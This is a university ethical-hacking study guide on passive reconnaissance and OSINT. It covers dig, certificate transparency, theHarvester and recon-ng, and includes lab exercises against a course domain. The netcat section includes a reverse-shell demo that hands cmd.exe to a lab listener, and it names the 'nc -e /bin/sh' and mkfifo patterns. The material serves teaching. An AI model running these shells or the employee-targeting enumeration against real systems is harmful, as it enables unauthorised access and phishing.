Week 2 - Passive Reconnaissance & OSINT

Updated 4 Oct 2026

1. Foundations — Why Recon Comes First

A rushed recon phase leads to a blind, noisy, ineffective attack. A thorough one gives you a map.

Analogy: Recon is like scouting a building before a heist movie plan. A rushed scout might miss the side door; a patient one maps every entrance, camera, and guard shift — without ever setting foot inside.

Where recon sits in the attack lifecycle

Reconnaissance → Scanning → Exploitation → Post-Exploit
  (you are here)  (Week 3)   (gain access)  (persist/pivot)

Everything downstream depends on the quality of what you learn in this first phase.

Why recon mattersMeaning
Shapes the attack surfaceReveals every point an attacker could target
Guides tool selectionKnowing the tech lets you pick the right approach
Reduces noise & riskPatient passive work = less blind probing later
Builds the mapTurns an unknown target into a charted footprint

OSINT is a connected system, not a list

Flow: Raw findings → Mapped to layers → Connected into structure → An actual map

Domains, IPs, certs, emails are just facts individually. The TCP/IP model is the conceptual anchor that organizes everything you discover into a coherent picture.

TCP/IP Model Overview (know this cold)

DARPATCP/IPOSIProtocols/ServiceUnit
Network InterfacePhysicalPhysicalBits ↔ PhysicalBits/millivolts
Data LinkData LinkIEEE 802.3Frame
NetworkNetworkNetworkIP/ICMP/IGMPPacket
TransportTransportTransportTCP/UDPSegment/Datagram
ApplicationApplicationSessionSocketsData
PresentationData Translation/XMLData
ApplicationFTP/HTTPData

Layer roles:

  • L5 Application — apps requiring network comms (browser requests → web server)
  • L4 Transport (TCP/UDP) — establishes connections between apps on different hosts
  • L3 Network (IP) — creates packets, moves them via IP addresses
  • L2 Data Link (MAC) — creates frames, moves them via MAC addresses
  • L1 Physical — the transceiver; transmits/receives raw bits

Encapsulation, top to bottom (exam favorite — know the header fields):

  1. Application data (browser) — HTTPS request: Host, User-Agent, Content-Type, Connection headers, TLS-encrypted
  2. Transport (TCP) — ~14 header fields incl. source/dest ports (multiplexing), sequence/ack numbers (ordered delivery), flags & checksum → produces a segment
  3. Network (IP) — ~13 header fields incl. source/dest IP, TTL, total length, protocol, flags/checksum → produces a packet
  4. Data Link (Frame) — Ethernet 802.3: source/dest MAC, frame type, preamble/delimiter + frame footer (Frame Check Sequence) → produces a frame
  5. Physical — raw bits on the wire

The TCP/IP model — through a recon lens

LayerProtocolsWhat recon finds here
ApplicationHTTP·HTTPS·SMTP·DNSDomains, certificates, email, web servers — most OSINT lives here
TransportTCP·UDPPorts & connections — this is active scanning territory (next week)
InternetIPIP ranges & hosting — infrastructure enumeration
LinkPhysical/MACThe local network reality — wire or wireless

Mapping findings to layers:

  • Domains & certificates → Application layer — the "front doors" a company exposes
  • Email & web servers → Application layer — rich sources of detail people interact with daily
  • IP ranges & hosting → Internet layer — the addressing/infrastructure underneath

Analogy: Building this picture is like reading a company's public directory sign, mailroom labels, and parking-lot layout — all from the sidewalk. You never had to walk inside.


2. OSINT in Real-World Engagements

OSINT = intelligence from publicly available, legally accessible data — public websites, DNS, registries, social media, code repos, breach dumps. You break into nothing, and send nothing to the target.

Who uses itHow
AttackersQuietly map people, systems, weak points before any contact
DefendersSame techniques turned inward — see what an attacker sees, shut it down first
Real-world realityNot academic — this is genuinely where professional testers and real adversaries begin
Legal, but scopedLegitimate collection ≠ unlimited use — still bound by your engagement

What OSINT reveals (starting from just an org name)

  • Domains & subdomains (primary, dev, staging, legacy)
  • TLS certificates (CT logs expose internal names)
  • Email patterns (predict any employee's address)
  • Tech stack (frameworks, cloud, 3rd-party)
  • IP ranges & hosting (AWS/Azure/on-prem)
  • Exposed accounts (breach & credential leaks)

All discoverable from public sources — without sending a single packet to the target.

OSINT in practice — public records talk

$ dig example.com ANY +noall +answer
example.com. A 93.184.216.34            # → hosting IP
example.com. MX 10 mail.example.com     # → mail server
example.com. NS ns1.cloudprovider.net   # → reveals provider
example.com. TXT v=spf1 include:_spf..  # → 3rd-party services
 
$ whois example.com | grep -i org
Registrant Org: Example Holdings Ltd
Admin Email: it-admin@example.com       # → a real target

Handy dig query types (know what each returns):

dig <domain> A       # IP address
dig <domain> MX      # Mail servers
dig <domain> NS      # Name servers (authoritative)
dig <domain> TXT     # Text — SPF, verification, misc. 3rd-party info
dig <domain> CNAME   # Alias
dig <domain> SOA     # Start of Authority

All of this is still fully passive — answered by public third-party infrastructure, never the target itself.

OSINT is a structured methodology (4 stages)

  1. Collection — gather raw data from all public sources
  2. Analysis — correlate, connect pieces into intelligence
  3. Validation — verify (public data can be stale/wrong)
  4. Documentation — organize into clear, usable output

Analogy: Like being a detective — gather clues (Collection) → figure out how they connect (Analysis) → double-check for red herrings (Validation) → write the case file (Documentation).

A real-world OSINT chain (the power is in chaining)

  1. Start: an organisation name (your only input)
  2. → Public domain records reveal subdomains (a dev server, a staging env never meant to be public)
  3. → TLS certificates reveal internal services (certs must name what they protect)
  4. → Email format reveals predictable addresses (work out the pattern → target any employee)

No direct interaction required. No scanning, no probing, no logs, no alerts — a complete picture from public sources alone.

Ethics, Legality & OPSEC in OSINT — three non-optional principles

PrincipleMeaning
Legal ≠ ethicalLawful to collect ≠ appropriate to use for anything. You still operate within scope and the spirit of your engagement
No deceptionPassive OSINT = observing what's already public. Creating fake identities or tricking people crosses a line — ethically and often legally
Scope & OPSECHonour your RoE (may limit even passive recon); avoid attribution and unnecessary exposure — minimize your own footprint too

3. Passive vs. Active Reconnaissance

Not two rigid boxes — a spectrum, from completely hands-off to increasingly direct.

◄ PASSIVE (never touch target) ————————————— probe directly (ACTIVE) ►
OSINT & public records → DNS/cert lookups → light service probing → full port scans
   (invisible)              (still quiet)      (first contact)      (loud, logged)

Side-by-side comparison (exam gold)

PASSIVEACTIVE
ContactNo contact with targetDirect probing of systems
SourcesPublic records, DNS, breach dataLive hosts, ports, services
DetectabilityEssentially invisibleNoisy — logged & alertable
InformationLimited to what's publicDetailed, current, confirmed
AuthorizationPublic data — low barRequired — touching their systems
WhenFirst — build the pictureSecond — confirm & deepen

The professional switch: start passive to find where to look, go active to confirm what's actually there.

The moment you go active, you're visible

While passiveThe instant you go active
Nothing reaches the targetPackets arrive at the target — every probe logged
No logs, no alertsIDS/IPS can flag the pattern — scanning has a signature
Essentially zero riskRequires authorization — without it, this is the criminal line
Profile freely, take your timeBest done selectively — only targets that truly matter

The Door Analogy (intuitive spectrum model)

ModeAnalogyWhat happens
PASSIVELooking at the buildingObserve from the street — nobody knows
Low-noise activeTrying the handleA small, quiet probe — contact made
Aggressive activeKnocking it downLoud, forceful — everyone knows

Context and permission decide. The technique isn't good or bad in isolation — authorization is what makes it legitimate. Watching a public building is fine; forcing a door you may not enter is a crime.


4. Enumeration — Mapping the Full Footprint

Enumeration systematically widens one organisation name into its entire footprint. Productive because organisations expose far more than they realise — and forget what they've exposed.

Flow: Organisation name (1 input) → Primary + subdomains (dev/staging/legacy) → Certificates + services (internal hostnames via CT logs) → IPs, hosting, emails, people (full connected map)

Reality checkWhy enumeration works
Rarely one domainThe public site is the tip of the iceberg
Infra outgrows oversightNew services appear faster than they're secured
Forgotten systems lingerUnpatched, unmonitored — the classic way in

Domain enumeration

  • Primary & subdomains — the full set of named web properties, not just the main site
  • Dev & staging environments — often far less secured than production; developers assume nobody will find them
  • Legacy & forgotten services — stood up years ago, never decommissioned, unpatched, unmonitored → classic entry point
  • Naming conventions — find mail. and vpn. and you can guess other likely names — the pattern gives away the shape of the wider infrastructure

Email enumeration & identity exposure

Finding the pattern:

  • Address format — learn first.last (or f.last) → generate anyone's address
  • Public documents — staff pages, PDF metadata, press releases, professional networks
  • Breach & leak data — addresses (and sometimes reused passwords) surface publicly

Why it's dangerous:

  • Impersonation — pose convincingly as an insider/executive
  • Precise targeting — aim at exactly the right people
  • Phishing fuel — raw material for the attacks that begin most breaches

Certificate Transparency — a public goldmine

TLS certificates (the browser padlock) are secretly one of the richest recon sources. Every certificate ever issued is logged in open, searchable public logs.

Example — crt.sh search for %.example.com:

CRT IDMatching IdentityIssued
9928…www.example.com2024-01-12
9931…mail.example.com2024-01-14
9945…⚠️ dev-internal.example.com2024-02-03 internal
9950…⚠️ vpn-staging.example.com2024-02-08 internal
9962…⚠️ jenkins.corp.example.com2024-02-19 internal
9971…api-gateway.example.com2024-03-01
  • Certs name services — publicly declare the domains they secure
  • CT logs are public and searchable — try crt.sh, or Censys (platform.censys.io/search?q=<domain>)
  • Internal names leak — certs for internal hosts expose hidden services
  • Permanent record — once issued, it's in the logs forever

Analogy: CT logs are like a public construction-permit database — even if a building (server) is meant to be hidden, the fact that a permit (certificate) was filed is on public record forever.

Infrastructure enumeration

ElementWhat it reveals
IP address rangesThe blocks an org controls — scale/boundaries of their network
Hosting & cloud platformsWhere systems actually live — AWS/Azure/GCP/own datacenter — shapes which attacks even make sense
On-prem vs. cloud indicatorsDifferent characteristics, different weaknesses
Third-party & outsourced servicesExternal dependencies — often the weak link

Correlation: where intelligence emerges

Individually, each finding is useful. Connected together, they become a multi-dimensional map.

Domain (example.com) ↔ Certificate (*.example.com)
Certificate ↔ Email (first.last@...)
Certificate ↔ IP address (93.184.216.34)
IP address ↔ Hosting (AWS us-east-1)
Email ↔ Person/role (IT admin)

Intelligence emerges from correlation. Individual data points are raw material — connecting them is what separates an amateur with notes from a professional with a picture.

Analogy: A single puzzle piece tells you almost nothing. Only when you connect dozens of pieces does the whole organisation's footprint become visible.


5. OSINT Tools — Automating Reconnaissance at Scale

Why automate?

Manual OSINT doesn't scaleWhat tools add
Too many assets — infeasible by hand for hundreds of assetsBroad, fast coverage — query many sources quickly & consistently
Too much data — more than a human can cross-referenceStructured output — organized & correlatable, not scattered notes
Too slow — picture may have moved on by the time you finish

Tools gather. You think. A tool hands you a thousand data points — deciding which ten matter is the skill. Never mistake running a tool for doing analysis.

theHarvester — the fast opening move

Often the very first thing you run. One command → rapid, broad picture in seconds, entirely from public sources.

What it does: enumerates domains/emails/hosts automatically; queries public sources (search engines, DBs, cert sources); fully passive; surfaces hidden assets (dev/staging hosts, email patterns).

theHarvester -d siit.tu.ac.th -b all

Sample output:

[*] Emails found: 5
admission@siit.tu.ac.th
fin@siit.tu.ac.th
...
[*] Hosts found: 123
*.siit.tu.ac.th
admissions.siit.tu.ac.th:203.131.209.90
alumni.siit.tu.ac.th:192.168.10.148
...

Missing API keys (bevigil, Censys, Github, Hunter, etc.) fail gracefully at runtime — the tool just skips those sources rather than crashing.

⚠️ Scenario discussion — dangling DNS records (subdomain takeover), a classic exam-style reasoning question:

  • Scenario A: A DNS record for logistics.siit.tu.ac.th stays after its service is torn down. Could an attacker "claim" it? No — you'd need to edit SIIT's DNS zone itself, which an outsider can't do.
  • Scenario B: Record is a CNAME → somesite.appspot.com, and the appspot app is deleted. Could an attacker re-register somesite on App Engine and hijack the CNAME? To fully serve content on logistics.siit.tu.ac.th, Google requires a google-site-verification TXT record written into SIIT's own DNS zone — the _same_capability the attacker lacked in Scenario A.
  • Resolution: Both paths collapse to the same requirement — write access to the target's own DNS zone — which an outsider simply doesn't have.

Analogy: A dangling DNS record is like an old forwarding address left at the post office pointing to a demolished house — but nobody can actually redirect mail there unless they control the post office's forwarding system (the DNS zone) itself.

recon-ng — a framework approach

If theHarvester is a fast, focused scout, recon-ng is a full reconnaissance framework — modular and database-backed. Feels like Metasploit if you've used it.

theHarvesterrecon-ng
The scout — one fast command, broad initial sweepThe framework — deeper, organised, correlated investigation

Features: modular (load specific modules for specific tasks); database-backed (stores/organizes all findings automatically); many sources from one consistent interface; correlation built in (findings from one module feed the next).

Walkthrough (from lecture demo):

# Set up workspace
workspaces create dummy
workspaces load dummy
 
# Explore & install modules
marketplace search
marketplace install hackertarget
modules load hackertarget
 
# Configure & run
show options
options set SOURCE siit.tu.ac.th
run
 
# View results
show hosts
# columns: rowid | host | ip_address | region | country | lat | long | notes | module
 
# Add an API key for a module that needs one
keys add shodan_api abc123

⚠️ Limitations of OSINT tools (guaranteed exam point):

  • Public data can be outdated, incomplete, or inaccurate — tools may return false positives
  • Ethical hackers must ensure tool usage stays within engagement scope and legal boundaries
  • OSINT tools are starting points, not final answers

6. 🖥️ Practical Foundations & LAB SECTION

Workshop philosophy: Observe, don't exploit. Build genuine literacy — see how systems communicate — not attack anything. Everything runs inside the isolated lab. This is groundwork for safe exploitation later, not exploitation itself.

SSH — the Secure Shell

Client ↔ 🔒 encrypted channel (port 22) ↔ SSH Server
                    ↑
        Server banner: SSH-2.0-OpenSSH_8.2p1  (reveals version)
ConceptMeaning
AuthenticationProving WHO you are (valid credential)
AuthorizationWhat you're PERMITTED to do once in

Analogy: Authentication is showing your ID at the door; authorization is what rooms your keycard actually opens once inside.

  • Encrypted remote access — how admins and attackers control machines securely
  • Banner reveals version → an outdated banner is a target for known exploits
  • High-value target for attackers precisely because it grants powerful, normal-looking control

Web servers leak intelligence by default

HTTP/1.1 200 OK
Date: Mon, 13 Jan 2025 …
Server: Apache/2.4.29 (Ubuntu)
X-Powered-By: PHP/7.2.24
X-AspNet-Version: 4.0.30319
Set-Cookie: PHPSESSID=…
X-Debug-Token: a1b2c3
Content-Type: text/html

Leaked to attacker: exact server software, precise versions (→ look up known CVEs), framework in use, debug mode left enabled.

Real CVE-lookup example: a header showing Apache/2.4.49 → search nvd.nist.gov or exploit-db.com for that exact version → CVE-2021-41773 is a real, findable result.

Much of this is achievable through passive observation — just careful browsing / reading response headers.

File transfers — how data moves (and leaks)

ProtocolEncrypted?PortWhat it means
FTP❌ cleartext21Credentials & data readable by anyone watching
Telnet❌ cleartext23Entire session plaintext — a gift to a sniffer
HTTP❌ cleartext80Content unencrypted — fine to intercept
SCP/SFTP✅ encrypted22Rides on SSH — encrypted end to end
HTTPS✅ encrypted443TLS-protected — safe from eavesdropping

Exposed files are goldmines. Documents, backups, and config files left publicly reachable can hand you credentials outright.

Netcat — the networking Swiss Army knife

Simple raw connectivity — connect to any port, send raw data, read the unfiltered response.

$ nc 10.10.2.244 22
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.8    # → the banner, raw
 
$ nc 10.10.2.244 80
HEAD / HTTP/1.0
 
HTTP/1.1 200 OK
Server: Apache/2.4.29 (Ubuntu)             # → software + version

Reverse-shell-style demo (listener + connector pattern):

# Kali listens
nc -lvnp 4444
# Windows connects and hands over cmd.exe
ncat 10.10.107.53 4444 -c cmd.exe

Attempts like nc -e /bin/sh ... or the mkfifo named-pipe trick are classic reverse-shell patterns you'll see referenced — they often need extra setup to actually work.

Analogy: Netcat is like a walkie-talkie you can point at any radio frequency (port) — it doesn't care what's on the other end, it just relays whatever comes back, raw and unfiltered.

Wireshark — seeing the network itself

A microscope for network traffic. The core lesson: watch a real password travel in readable cleartext vs. scrambled encrypted data.

CLEARTEXT (FTP / port 21)          ENCRYPTED (SFTP / port 22)
USER admin      ← readable         a3f9!k2#x8..Qm@zL
PASS S3cr3t!     ← readable!        p9$wR7^nT4..vB2c
230 Login successful.               ..encrypted payload..
→ anyone on the wire reads it      → unreadable — nothing to steal
  • Captures every packet — inspect any one in complete detail
  • Reveals real protocol behavior on the wire
  • Passive observation — watch and understand, not inject or attack

nikto & whoami — where the passive/active boundary actually falls

nikto.pl — crosses INTO activewhoami.exe — post-access recon
Scans web servers for known issues/misconfigs"Which account am I?" — basic but essential
Actively probes — sends many requests (unlike just reading headers)Value comes after access — first thing you check on a compromised box
Noisy, needs authorization — this is the active lineSituational awareness before you act

The command line — Windows & Linux

WindowsLinux/KaliWhat it does
dirlsList directory contents
cdcd / pwdChange/show working directory
copycpCopy a file
typecatPrint file contents
findstrgrepSearch text (learn grep well!)
ipconfigifconfigInterface IP configuration
caclschmod/chownPermissions & ownership
morelessPaginate long output

Help yourself: Windows uses /?; Linux uses -h/--help or man <command>. Never memorize flags — remember how to ask.

Redirection & pipes — composing tools

SymbolMeaningSyntax
>Redirect output to a fileprogram > file
<Feed input from a fileprogram < file
|Pipe between programsprog1 | prog2

A real OSINT pipeline in one line:

theHarvester -d example.com -b crtsh | grep email > emails.txt

Run OSINT → filter to just emails → save to a file. Three simple tools, composed into real reconnaissance.

Analogy: Pipes are like an assembly line — each tool does one small job and passes its output straight to the next station.

More worked examples:

ps aux | grep ssh
ls -la > filedata.txt
netstat -tuln | grep LISTEN > listening_ports.txt
theHarvester -d example.com -b crtsh | grep email > emails.txt

7. 🖥️ WEEK 2 WORKSHOP — OSINT & Reconnaissance (Full Lab Walkthrough)

Overview: Run three passive recon tools — theHarvester, dnsrecon, recon-ng — against siit.tu.ac.th, using each tool's own --help/-h (or man) to find the right flags. The point is learning to ask a tool what it can do, not memorizing commands.

⚠️ Scope & authorization: Everything here is passive OSINT — querying public third-party sources (search engines, DNS, cert logs), never the target's own systems. Only use a domain you're authorized on (the course target, a bug-bounty domain, or one you own). Never use active features — subdomain brute-forcing, DNS zone transfers, port/vulnerability scanning — without authorization.

Exercise 1 — theHarvester

Goal: Build a broad initial map — hosts, subdomains, emails — from at least two data sources that don't need an API key.

theHarvester -h                                    # read the help first
theHarvester -d siit.tu.ac.th -b crtsh,hackertarget # crtsh & hackertarget need no API key

Report checklist:

  • Screenshot of command + output
  • 1–3 sentences on the org's email format (e.g., first.last@) and any dev/staging/forgotten hosts found

⚠️ Worked troubleshooting example (a realistic failure mode you may hit):

A run can fail at the connection stage rather than returning empty results — e.g. crt.sh failing with Cannot connect to host crt.sh:443 ... Connect call failed. If theHarvester also logs reading /etc/theHarvester/proxies.yaml, it may be trying to route through a misconfigured proxy rather than simply lacking internet access. Result: "No IPs found" / "No emails found" are connectivity failures, not genuine negative results — don't draw conclusions from them. Fix: confirm the Kali VM's adapter is in bridged mode with working internet (per Week 1), check the proxies file, then re-run.

Exercise 2 — dnsrecon

Goal: Enumerate DNS records — MX (mail servers), NS (name servers), A/AAAA (hosting), TXT (external providers/dependencies).

dnsrecon -h                       # read the help first
dnsrecon -d siit.tu.ac.th -t std  # 'std' = standard passive record enumeration (SOA, NS, A, AAAA, MX, TXT, SPF) — no brute-forcing

Report checklist:

  • Screenshot of command + output
  • 2–3 sentences: which external providers the org depends on, and whether it looks on-prem, cloud, or a mix

Worked example — how to actually interpret dnsrecon output:

  • MX records point to ASPMX.L.GOOGLE.COM and ALT1–ALT4.ASPMX.L.GOOGLE.COM + TXT record v=spf1 include:_spf.google.com ~all → strong direct evidence email is outsourced to Google Workspace (the SPF include is the org itself publicly declaring who may send mail as them)
  • Multiple google-site-verification TXT records → domain ownership verified for more than one Google product
  • Apex A/AAAA records resolve into Google Cloud Platform ranges, and one of four name servers also resolves there → partial cloud hosting
  • The other three name servers sit in ranges consistent with a local ISP/institutional block, not a major cloud provider
  • Conclusion pattern: this is a hybrid/mixed infrastructure — DNS & part of hosting on a local/ISP range, part cloud-hosted, email fully outsourced to Google Workspace
  • DNSSEC records present (NSEC KSK/ZSK, ECDSAP256SHA256) → above-average DNS security hygiene

Exercise 3 — recon-ng

Goal: Run a small recon workflow — create a workspace, add the target, find/install/load/run at least one keyless module.

recon-ng's help is inside the console — type help, and use help on workspaces, marketplace, and modulescommands for exact syntax. Check a module's info before running (some need API keys — choose one that doesn't).

workspaces create siit
marketplace search hackertarget
marketplace install recon/domains-hosts/hackertarget
modules load recon/domains-hosts/hackertarget
options set SOURCE siit.tu.ac.th
run
show hosts

Report checklist:

  • Screenshots of workspace + results
  • 2–3 sentences comparing recon-ng's framework approach vs. theHarvester's single command — which gave the broader sweep, which gave more structured data

⚠️ Worked troubleshooting example — a classic recon-ng mistake:

Running options set SOURCE siit.tu.ac.th immediately after installing the module (without loading it) fails with [!] Invalid option name. Why: options set only recognizes option names belonging to whichever module is currently loaded into context — install ≠ load. Once modules load recon/domains-hosts/hackertarget is run (visible as the prompt changes from [recon-ng][siit] > to [recon-ng][siit][hackertarget] >), the same options set command succeeds.

Worked example — interpreting show hosts results:

  • cco.siit.tu.ac.th → resolves to a Google-owned IP → corroborates the Google Workspace/Cloud dependency from Exercise 2
  • alumni.siit.tu.ac.th → resolves to 192.168.10.148, a private RFC 1918 address, not publicly routable. A public DNS record pointing to a private IP is either a misconfiguration or an internal-only host — either way, it leaks a fragment of the org's internal addressing scheme (here, a 192.168.10.0/24 range) to anyone doing passive enumeration, without ever touching the target's network

Tool comparison takeaway (a frequent exam-style question):

theHarvester's single command is designed to sweep multiple source types (hosts/subdomains/emails) at once — fast, but fragile if a source fails, breadth over structure. recon-ng needs more setup (workspace → install → load → configure → run) but produces more structured, queryable output (a hosts table with per-record IPs) and is more resilient when a given source/run doesn't go as planned. Lesson: a single broad tool is convenient when everything works; a modular, database-backed framework is more resilient and easier to build on.

What to submit

  • One PDF to the Week 2 Workshop assignment on Google Classroom
  • For each exercise: screenshots + short supporting text
  • Name + student ID at the top
  • No other files to upload

8. Rapid-Fire Recall Table (Last-Minute Review)

ConceptOne-liner
Recon's place in lifecycleRecon → Scanning → Exploitation → Post-Exploit — recon is first, shapes everything after
OSINTIntelligence from public, legal sources — break into nothing, send nothing to target
Most OSINT lives at...The Application layer (HTTP/HTTPS/SMTP/DNS)
4-stage OSINT methodCollection → Analysis → Validation → Documentation
Passive vs. active — the lineThe instant a packet reaches the target, you're visible and need authorization
Door analogyLooking (passive) → trying the handle (low-noise active) → knocking it down (aggressive active)
Enumeration payoffOne org name → subdomains → certs → IPs/hosting/emails/people
Certificate TransparencyEvery issued cert is in a public, permanent, searchable log (crt.sh)
CorrelationIsolated facts → connected = real intelligence (not just data)
theHarvesterFast, single-command broad sweep — the "scout"
recon-ngModular, database-backed framework — like Metasploit for recon — the "framework"
recon-ng gotchainstall ≠ load — must modules load before options set will work
SSHEncrypted (port 22); banner reveals version; auth = who you are, authorization = what you can do
Cleartext protocolsFTP (21), Telnet (23), HTTP (80) — readable by anyone watching
Encrypted protocolsSCP/SFTP (22, rides SSH), HTTPS (443, TLS)
NetcatRaw TCP/UDP connections to any port — reads banners directly, minimal footprint
WiresharkPacket-level microscope — passive observation, cleartext vs. encrypted is the core lesson
niktoCrosses INTO active — sends many requests, noisy, needs authorization
whoamiPost-access recon — "which account am I" — situational awareness after access
Pipes/redirection> write to file, < read from file, | chain programs — small tools composed into workflows